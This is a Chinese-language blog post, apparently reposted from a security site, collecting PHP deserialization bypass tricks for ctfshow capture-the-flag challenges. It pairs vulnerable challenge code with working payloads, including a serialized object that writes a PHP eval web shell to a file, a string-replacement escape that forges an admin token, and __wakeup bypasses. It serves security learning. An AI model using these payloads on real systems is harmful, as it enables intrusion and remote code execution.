PHP反序列化常用方法

admin 2023年5月26日10:05:58PHP反序列化常用方法已关闭评论32 views字数 4498阅读14分59秒阅读模式

PHP反序列化常用方法

常用绕过正则方式:

  • 01
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])

将o:数字或c:数字改为O:+数字或C:+数字

preg_match(‘/ctfshow_i_love_36D/’,serialize($_GET[‘ctfshow’]))

使用提交:ctfshow_i_love_36D即可

在反序列化中,可以修改值,但不能改变逻辑方法,因为在序列化后不会替换其函数的逻辑方法。

php
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
highlight_file(__FILE__); class ctfshowvip { public $username; public $password; public $code; public function __construct($u, $p) { $this->username = $u; $this->password = $p; } public function __wakeup() { if ($this->username != '' || $this->password != '') { die('error'); } } public function __invoke() { eval($this->code); } public function __sleep() { $this->username = ''; $this->password = ''; } public function __unserialize($data) { $this->username = $data['username']; $this->password = $data['password']; $this->code = $this->username . $this->password; } public function __destruct() { if ($this->code == 0x36d) { file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']); EXP: class ctfshowvip{ public $username; public $password; public $code; public function __construct($u,$p){ $this->username='877.php'; $this->password='<?php eval($_POST[a]);?>'; } } $exp = serialize(new ctfshowvip()); echo $exp;

逃逸的绕过

针对逃逸类的反序列化,可使用替换绕过的方式比如

  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg)); setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);

由str_replace(‘fuck’, ‘loveU’, serialize($msg));可知替换后多了一个字符,原来的序列化为:

  • 01
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:4:"user";}

触发替换后的序列化为:

  • 01
O:7:"message":4:{s:4:"from";s:4:"loveU";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}

可使用逃逸的方法直接替换掉后面的属性:

PHP
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } function firnl($str){ return str_replace('fuck', 'loveU', $str); } $exp = serialize(new message('fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:3:"msg";s:1:"b";s:2:"to";s:1:"c";s:5:"token";s:5:"admin";}','b','c')); $exp_ = firnl($exp)

针对简单的MD5两个判断绝对等于:

PHP
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
error_reporting(0); include('flag.php'); highlight_file(__FILE__); class ctfshowAdmin{ public $token; public $password; public function __construct($t,$p){ $this->token=$t; $this->password = $p; } public function login(){ return $this->token===$this->password; } } $ctfshow = unserialize($_GET['ctfshow']); $ctfshow->token=md5(mt_rand()); if($ctfshow->login()){ echo $flag; }

这种可以使用在初始化的时候,让内存地址相等的方法,使其绝对等于;

修改: $this->password =

p;让其等于token的内存地址:p; 让其等于token的内存地址:

this->password = &$this->token;

针对正则判断后停止或报出错误,而利用点在销毁方法上的。可以把序列化的结果破坏进行提交绕过:

PHP
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->password; } public function __toString(){ return $this->username; } public function __destruct(){ global $flag; echo $flag; } } $ctfshowo=@unserialize($cs); if(preg_match('/ctfshow/', $cs)){ throw new Exception("Error $ctfshowo",1); }

序列化的结果:O:7:“ctfshow”:2:

可以使用O:7:“ctfshow”:2:{}尝试进行绕过

绕过wakeup的办法:

用序列化加%00

private:属性被序列化的时候属性名会变成%00类名%00属性名,长度跟随属性名长度而改变。加%00的目的就是用于替代\0

  • 01
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
PHP
  • 01
  • 02
  • 03
  • 04
  • 05
  • 06
  • 07
  • 08
  • 09
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } }

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月26日10:05:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PHP反序列化常用方法https://cn-sec.com/archives/1760680.html